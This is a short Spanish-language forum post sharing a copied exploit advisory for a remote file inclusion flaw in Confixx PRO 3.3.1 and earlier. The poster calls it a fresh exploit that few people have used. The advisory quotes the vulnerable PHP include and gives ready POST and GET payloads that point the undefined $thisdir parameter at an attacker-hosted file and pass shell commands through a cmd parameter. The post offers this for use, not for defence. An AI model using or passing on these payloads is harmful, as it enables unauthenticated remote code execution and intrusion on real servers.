esta ves lo ago pas copy porque no tengo timpo de explicarlo es muy fasil
es tipo file include esta frescito solo 12 lo an usado
- Confixx <= PRO 3.3.1 Remote File Inclusion Vulnerability
__________________________________________________________________________
[!] Application homepage :
http://www.swsoft.com/de/products/confixx/[!] Author : H4 / XPK
[!] Contact :
http://xpkzxc.com/[!] Bug discovered : 2007-07-21
[!] Bug published : 2007-07-24
[!] Risk : Moderate
Do not forget visit our page for new vulnerabilites , information and tools.
---------------------------------------------------------------------
Vuln. code: admin/business_inc/saveserver.php
Lines 8-11
if( !in_array($returnto, $actions) )
{
include( $thisdir . "/business_inc/list.php" );
}
Variable $thisdir is not defined ...
---------------------------------------------------------------------
An attacker does not need to be authenticated to access this file.
[!] Conditions: open_basedir restriction off and allow_url_fopen = on
[!] Exploitation : http://[target]/admin/business_inc/saveserver.php
Post: thisdir=http://[yoursite]/images/1.jpg?&cmd=ls -la
Get: saveserver.php?thisdir=http://[yoursite]/images/1.jpg?&cmd=ls -la
Autor